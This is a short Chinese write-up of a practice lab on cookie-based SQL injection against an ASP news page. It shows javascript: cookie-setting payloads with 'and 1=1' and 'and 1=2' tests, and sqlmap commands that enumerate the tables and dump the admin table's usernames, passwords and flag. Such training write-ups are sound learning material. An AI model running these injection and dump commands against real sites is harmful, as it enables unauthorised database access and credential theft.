0x00 前言
有点忘了sqlmap咋用,想多练下,然后发现一个cookie注入的靶场,学习一下
靶场地址:
http://117.167.136.245:10181
0x01 手工测试
如何判断为COOKIE注入:
1.寻找形如“.asp?id=xx”类的带参数的URL。
2.去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
3.清空浏览器地址栏,输入“javascript:alert(document.cookie=“id=”+escape(“xx”));”,按Enter键后弹出一个对话框,内容是“id=xx”,然后用原来的URL刷新页面,如果显示正常,说明应用是用Request(“id”)这种方式获取数据的。
4.下面就是常规手工注入,只要将常规SQL注入中的判断语句放到escape函数里即可
Eg:
javascript:alert(document.cookie="id="+escape("xx and 1=1"));
javascript:alert(document.cookie="id="+escape("xx and 1=2"));
如果分别返回正常和不正常页面,则说明该应用存在注入漏洞,并可以进行cookie注入。
判断过程:
1.点进新闻页面,删除?id=170后页面显示不正常
2.清空浏览器地址栏
输入javascript:alert(document.cookie="id="+escape("170"));
后回车弹框
不带id参数也能正常访问
说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request(“xx”)的方式,存在cookie注入。
然后可以选择手工注入也可以用SQLMAP来跑。
0x02 使用sqlmap工具测试
1.查表
sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=170" --table --level 2
2.查字段
sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=170" -T admin --columns --level 2
3.查数据
sqlmap -u "http://117.167.136.245:10181/shownews.asp" --cookie "id=170" -T admin -C "user,content,flag,id,password,title,username" --level 2 --dump
0x03 小结
用sqlmap查数据也太快乐了吧
但是还是得会手工注入~~